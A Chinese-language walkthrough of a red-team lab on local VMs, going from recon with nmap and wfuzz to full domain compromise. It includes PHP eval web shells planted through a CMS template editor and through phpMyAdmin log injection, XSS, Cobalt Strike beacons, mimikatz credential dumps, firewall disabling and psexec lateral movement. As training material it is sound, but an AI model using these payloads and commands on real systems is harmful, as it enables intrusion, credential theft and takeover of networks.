ATT&CK红队靶场实战
ATT&CK红队靶场实战
lololowe1 环境搭建
通过红日安全团队官网 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base 底部的链接跳转到百度网盘下载靶场环境,解压后使用vmware导入vmx文件。
1.1 登录设备
登录设备前会提示需要按CTRL+ALT+DELETE
解除锁定状态,可以使用VMWare的Ctrl+Alt+Insert
快捷键来解除锁定,以免触发物理机的安全选项菜单:
3台靶机都位于god.org
域中且用户密码都为hongrisec@2019
, 但由于这些虚拟机都创建于2019年,已经过了密码最长使用期限,因此需要修改密码,这里都改为Admin123!
。
1.2 网络配置
设备 | IP地址 |
---|---|
Windows 7 x64(Web服务器) | 192.168.52.143(NAT), 192.168.1.10(仅主机) |
Windows Server 2008 R2 x64(域控制器DC) | 192.168.52.138(NAT) |
Win2K3 Metasploitable(域成员) | 192.168.52.141(NAT) |
Kali(攻击机), 物理机 | 192.168.1.20(仅主机) |
网卡为NAT模式的虚拟机为内网主机,网卡为仅主机模式的虚拟机为外网主机。不建议使用桥接模式,以免影响到真实网络环境。
攻击机除了kali以外,还有物理机,其IP默认就是虚拟机的网关,因此无需配置IP。
按上表配置网络,为Windows7和Kali添加仅主机类型的网卡并配置静态IP,随后在VMWare导航栏中的的”编辑”选项卡中设置”虚拟网络编辑器”,将NAT模式和仅主机模式的网卡的网段分别设置成符合上表需求的:
嫌网段配置麻烦也可以下载此文件导入”虚拟网络编辑器”中使用:net_config
1.3 运行服务
在Windows 7 x64(Web服务器)中的C:\phpStudy\
目录中启动小皮面板,如果启动失败,请将C:\phpStudy\
目录拷贝至桌面,随后即可启动面板,启动时会弹出Apache和MySQL的外网访问权限请求,务必勾选Apache的所有选项并允许访问(MySQL可忽略),否则后续实验将无法顺利进行:
如下图所示编辑vhosts-conf
文件,将框选位置的路径由原来的C:\phpStudy\WWW
改成C:\Users\Administrator\Desktop\phpStudy\WWW
,使站点路径位于小皮面板子目录:
2 外网打点
2.1 信息收集
2.1.1 活跃主机扫描
使用nmap扫描同网段的活跃主机:nmap -sn -PR -n 192.168.1.0/24
-sn
: 跳过端口扫描,只确认是否在线-PR
: 使用基于ARP协议的主机扫描,内网首选-n
: 不进行反向DNS解析,可提高扫描速度
从上图可看出扫描出的192.168.1.10
主机为活跃状态。
2.1.2 端口扫描
使用nmap扫描192.168.1.10
开放的端口:
1 | sudo nmap -sS -sC -Pn -n -sV -p 1-65535 192.168.1.10 |
-sS
: 使用TCP SYN半开放扫描(必须使用root权限运行)-sC
: 使用默认的脚本扫描,可扫描出更多信息(比如网页标题)-Pn
: 不进行活跃主机扫描,因为扫描对象已知是活跃主机-n
: 不进行反向DNS解析,提高扫描速度-sV
: 扫描服务版本信息-p 1-65535
: 指定扫描的端口范围为所有TCP端口
从上图可看出192.168.1.10
主机开放了80
端口,运行了HTTP服务,站点标题为phpStudy,即使用小皮面板搭建的web站点。
浏览器访问http://192.168.1.10
,可以看到phpinfo.php文件被展示了出来,可被收集到大量PHP配置信息:
2.1.3 站点目录扫描
使用wfuzz来扫描http://192.168.1.10/
的站点目录:
1 | wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404 http://192.168.1.10/FUZZ |
-w /usr/share/wordlists/dirb/common.txt
: 指定wfuzz使用kali内置的常见目录和文件名字典文件来爆破--hc 404
: hide code 404,即当返回状态码为404(未找到)时,wfuzz不显示该结果192.168.1.10/FUZZ
: FUZZ
为占位符,字典文件中的每一行都会替换掉FUZZ
,并将替换后的URL发送给服务器,然后分析服务器的http状态码
从上图看看到wfuzz扫出了phpinfo.php
, phpmyadmin
, beifen.rar
三个有效内容,其中phpinfo.php
前面已经看过了,phpmyadmin
http状态码为301(永久重定向),极有可能是MySQL数据库管理工具的web界面,beifen.rar
的状态码为200(请求成功),极有可能是备份文件,可通过下载到本地进行验证。
注意:如果没有扫出beifen.rar
,那是因为字典文件中没有该条目,可以用此命令追加该条目到字典文件行末去:echo "beifen.rar" | sudo tee -a /usr/share/wordlists/dirb/common.txt
, 之后再执行扫描,即可看到beifen.rar
。
2.1.4 分析站点
phpMyAdmin
浏览器尝试访问
http://192.168.1.10/phpmyadmin/
,成功进入 phpMyAdmin登录界面:beifen.rar
尝试使用wget命令下载:
wget http://192.168.1.10/beifen.rar
, 成功下载到本地(或者使用浏览器访问http://192.168.1.10/beifen.rar
,下载到本地):将下载的文件解压到本地,得到
yxcms
目录:
查看爬虫协议文件
cat robot.txt
:从上图可看出,爬虫协议文件中的注释写明此协议作用于
YXCMS
, 说明此网站属于内容管理系统CMS, 站点路径极有可能为http://192.168.1.10/yxcms/
, 浏览器尝试访问此地址:
2.2 漏洞利用
2.2.1 信息泄露
上图直接挑明了告诉我们后台地址是网址后面加上/index.php?r=admin
, 后台用户名是admin,密码是123456。
浏览器尝试访问http://192.168.1.10/yxcms/index.php?r=admin
,输入用户名和密码以及验证码,成功登录后台:
2.2.2 弱口令
浏览器再次访问phpMyAmin的后台页面: http://192.168.1.10/phpmyadmin/
,将用户名和密码都输入为弱口令root
,成功登录后台:
2.2.3 yxcms留言本XSS存储型漏洞
进入yxcms首页的留言本板块,输入伪造的用户信息,留言内容如下填写并点击留言提交:
1 | Hello administrator! |
其中Hello administrator!
是正常留言, <script>alert("XSS")</script>
是JS代码,作用是弹出一个警告框,内容为 “XSS”。
提交成功会有审核提示:
此时再来登录yxcms后台,进入留言本管理页面,浏览器会自动执行前面提交的留言内容中的JS代码,从而弹出一个警告框,内容为 “XSS”:
单击审核按钮,使该留言通过审核从而显示在留言板页面:
回到首页再次进入留言板板块,发现留言内容被自动执行了,从而弹出一个警告框,内容为 “XSS”:
多次实验可以发现每进入一次页面就会执行一次弹窗,说明存在存储型XSS漏洞。可根据此漏洞编写相关的JS代码来自动获取管理员和所有访问了留言板页面的用户的cookie信息,并转发到自己的服务器,盗取cookie实现会话劫持。
2.2.4 yxcms后台文件上传漏洞
登录到yxcms的后台,进入”前台模板”,管理模板文件并新建模板文件,名称为hack
, 内容为php一句话木马: <?php @eval($_POST['hack']);?>
:
文件创建完成后我们并不知道该文件的具体路径在哪,也就无法连接木马,但是可以分析和上传后的hack.php
在同一页面显示的其他文件:
就以最顶上的acomment.php
文件为例,这是站点自带的文件,而我们前面已经获取到了站点的备份文件beifen.rar
, 可以通过在备份文件目录中查找acomment.php
的位置而得出hack.php
的位置,使用find /home/kali/桌面/test/yxcms -name acomment.php
命令搜索:
从上图可看出acomment.php
位于/home/kali/桌面/test/yxcms/protected/apps/default/view/default/acomment.php
,可推断hack.php
也处于相同的目录结构中,尝试在浏览器访问http://192.168.1.10/yxcms/protected/apps/default/view/default/
:
上图说明推断正确,hack.php
和acomment.php
确实位于相同的目录结构中,接下来尝试使用中国蚁剑连接木马http://192.168.1.10/yxcms/protected/apps/default/view/default/hack.php
:
成功连接到木马,可以看到站点部署在绝对路径C:\Users\Administrator\Desktop\phpStudy\WWW\
下面。除了可以管理服务器所有文件外,还可以使用CMD命令提示符,并且是拥有管理员权限的CMD,因为可以运行net session
命令:
2.2.5 phpMyAdmin日志注入漏洞
浏览器访问http://192.168.1.10/phpmyadmin/
登录到phpMyAdmin,尝试执行SELECT [content] INTO OUTFILE [/path/file]
语句将一句话木马写入文件到站点根目录中去,:
1 | SELECT "<?php @eval($_POST['hack']);?>" INTO OUTFILE "C:\Users\Administrator\Desktop\phpStudy\WWW\hack.php"; |
命令执行后出现了报错,提示MySQL服务器配置了secure-file-priv选项, 限制了该命令的执行,执行以下命令查询该选项的状态:
1 | SHOW GLOBAL VARIABLES LIKE "%secure%"; |
从上图可知secure-file-priv
选项被设置为了NULL
, MySQL服务器会禁止文件导入与导出功能。尝试使用以下命令修改secure-file-priv
选项的值为空字符,使其不做目录限制:
1 | SET GLOBAL secure_file_priv = ''; |
从上图可知该选项为只读变量,无法修改。
尝试从MySQL命令执行日志下手,执行SHOW GLOBAL VARIABLES LIKE "%general_log%";
,查看命令执行日志开关和日志文件路径:
查询到命令执行日志选项为关闭状态,日志文件路径位于C:\Users\Administrator\Desktop\phpStudy\MySQL\data\stu1.log
目录。
尝试修改为开启状态并将日志文件路径改为站点根目录,注意路径分隔符使用的使正斜杠/
,防止被转义:
1 | SET GLOBAL general_log=on; |
命令执行会自动在命令后面加上注释提示返回结果。执行SHOW GLOBAL VARIABLES LIKE "%general_log%";
手动验证一下:
从上图可知修改成功。后面执行的所有MySQL命令都会被记录在网站根目录下的hack.php
文件中(只记录命令,不记录结果),此时再执行以下命令将一句话木马记录到日志文件中:
1 | SELECT "<?php @eval($_POST['hack']);?>"; |
执行成功,接下来尝试使用中国蚁剑连接木马http://192.168.1.10/hack.php
:
可见连接成功。
3 内网渗透
攻破服务器后开始收集内网信息并以服务器为跳板在内网横向移动攻陷其他主机。
3.1 信息收集
下面的命令都在CS上面执行,不在蚁剑上执行是因为服务器的PHP禁止了部分函数,会导致一部分终端命令无法在蚁剑上执行,表现为输出ret=1
,即使安装使用了蚁剑的disable ...
插件也无效,这也是为什么上一步的服务器上线CS执行可执行程序而不使用powershell命令的原因。
在CS上面执行CMD命令需要加上shell
前缀。
3.1.1 服务器上线CS
使用Cobalt Strike创建运行在888端口名为mkbk
的监听器并生成64位的exe后门程序:
将后门程序通过中国蚁剑上传至站点目录:
接着在蚁剑终端中运行此木马:
回到CS窗口,可以看到服务器以Administrator
用户的身份上线CS,并且主机名为STU1
:
右键单击服务器会话条目,进入beacon控制台,执行sleep 1
命令,使beacon隔1秒检查一次消息以及执行命令(真实环境中不要执行此命令,会提升被目标系统检测到的风险):
3.1.2 服务器提权
右键服务器会话选择权限提升,随后在新窗口中选择监听器为最初创建的mkbk
, 提权方式选择默认的svc-exe
, 点击运行即可(或者直接在beacon控制台输入elevate svc-exe mkbk
命令,也可实现新会话提权至system
用户; getsystem
命令可在当前会话提权至system
用户):
执行完成之后可以看到服务器多了个会话条目,用户为system
, 提权成功:
同样的,在新会话条目的beacon控制台中执行sleep 1
命令来提高命令执行和响应速度,并且之后的命令也在将此控制台中执行。
3.1.3 获取密码凭证
在beacon控制台中执行logonpasswords
命令,随后在”视图”菜单中打开”密码凭证”子菜单,查看服务器的所有用户的账户密码:
从上图可以看到administrator
用户的登录密码为Admin123!
, 所属域为god
, 密码来源为mimikatz工具。
3.1.4 连接远程桌面
查询远程桌面控制(RDP)3389端口是否启用:shell netstat -ano | findstr 3389
输出为空行,说明未启用,使用此命令开启RDP:shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
操作成功,再次执行shell netstat -ano | findstr 3389
验证结果:
启用成功。WIN+R
打开运行窗口输入mstsc.exe
回车打开RDP客户端程序,使用god/administrator
用户连接服务器的远程桌面:
连接失败,在kali中使用nmap扫描服务器3389端口状态:nmap -Pn -n -p 3389 192.168.1.10
端口为filtered被过滤状态,说明可能存在防火墙拦截,执行shell netsh advfirewall show allprofiles
命令查看防火墙状态:
从上图可看到防火墙状态为打开且拦截了入站数据,执行shell netsh advfirewall set allprofiles state off
命令尝试关闭服务器的防火墙(或者执行此命令单独放行RDP流量netsh advfirewall firewall add rule name="Allow Remote Desktop" action=allow dir=in protocol=TCP localport=3389
):
执行成功,再次验证配置:shell netsh advfirewall show allprofiles
成功关闭防火墙,再次尝试连接远程桌面:
连接成功,同时观察到桌面(左上角)上有nmap应用程序。
3.1.5 内网活跃主机扫描
在CS中执行shell ipconfig
:
从上图可看到服务器除了有和和攻击机同网段的192.168.1.10/24
的外网IP以外,还有内网IP192.168.52.143/24
。
继续在CS中使用服务器自带的nmap扫描内网有哪些活跃主机:shell nmap -sn -PR -n 192.168.52.143/24
。
注意,此命令必须在Administrator
用户的beacon控制台下执行,在System
用户下无法执行,因为System
用户无法正确读取到环境变量,除非使用命令的完整路径来执行,比如shell "C:\Program Files (x86)\Nmap\nmap.exe" -sn -PR -n 192.168.52.143/24
:
从上图可看出服务器内网除了有192.168.52.1
和192.168.52.2
,以及192.168.52.254
这3个VMWare虚拟网关地址外,还有192.168.52.138
和192.168.52.141
两台主机。
3.1.6 域成员身份确定
由于前面已经确定Win7服务器所属域为god
, 因此另外两台活跃主机一定有一台是域控制器DC, 使用net view
命令(注意不要加shell
前缀,否则结果不完整)探测域内主机:
从上图可看到192.168.52.138
的主机名为OWA
(全称应该是Outlook Web App),为主域控制器PDC(Primary Domain Controller),192.168.52.141
的主机名为ROOT-TVI862UBEH
, 和Win7服务器一样同属于god
域的域成员。
命令执行完成后,CS会自动将探测到的设备加入”目标列表”(注意,图中的198.18.*.*
为本地基准测试IP,在这里无实际意义,不必在意):
3.1.7 域成员端口扫描
在CS的Administrator
用户的beacon控制台中依次执行以下两条命令来分别扫描192.168.52.138
和192.168.52.141
两台主机的端口状态:
1 | shell nmap -sS -sC -Pn -n -sV -p 1-65535 192.168.52.138 |
从上面两张图片中可以看出这两台主机都开放了SMB协议的445
端口,那么接下来可以尝试使用CS内置的psexec
工具获取目标的system shell。
3.2 横向移动
创建一个SMB监听器,名字为wxdx
,Payload为Beacon SMB
:
进入”目标列表”, 右键选择192.168.52.138
主机(域控制器),进入”横向移动”的”psexec”配置菜单,在菜单中选择监听器为前面创建好的wxdx
,会话选择System
用户,将下面的选项打勾,然后点击运行:
点击运行过后立马就连上了目标主机(域控制器),并且返回的是最高权限用户System
:
最后一台域成员主机192.168.52.141
也如法炮制,成功以System
用户身份上线CS:
至此,已成功获得3台靶机的最高权限:
参考链接:
https://www.anquanke.com/post/id/189940
https://www.cnblogs.com/liliyuanshangcao/p/13743389.html#_label2_0
https://tttang.com/archive/1710/#toc_
https://hackerqwq.github.io/2021/09/17/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E6%8F%90%E6%9D%83%E7%AF%87%E4%B8%89-Windows%E6%8F%90%E6%9D%83/
https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/%E7%AC%AC%E4%B8%89%E8%8A%82%5BSMB%20Beacon%5D.md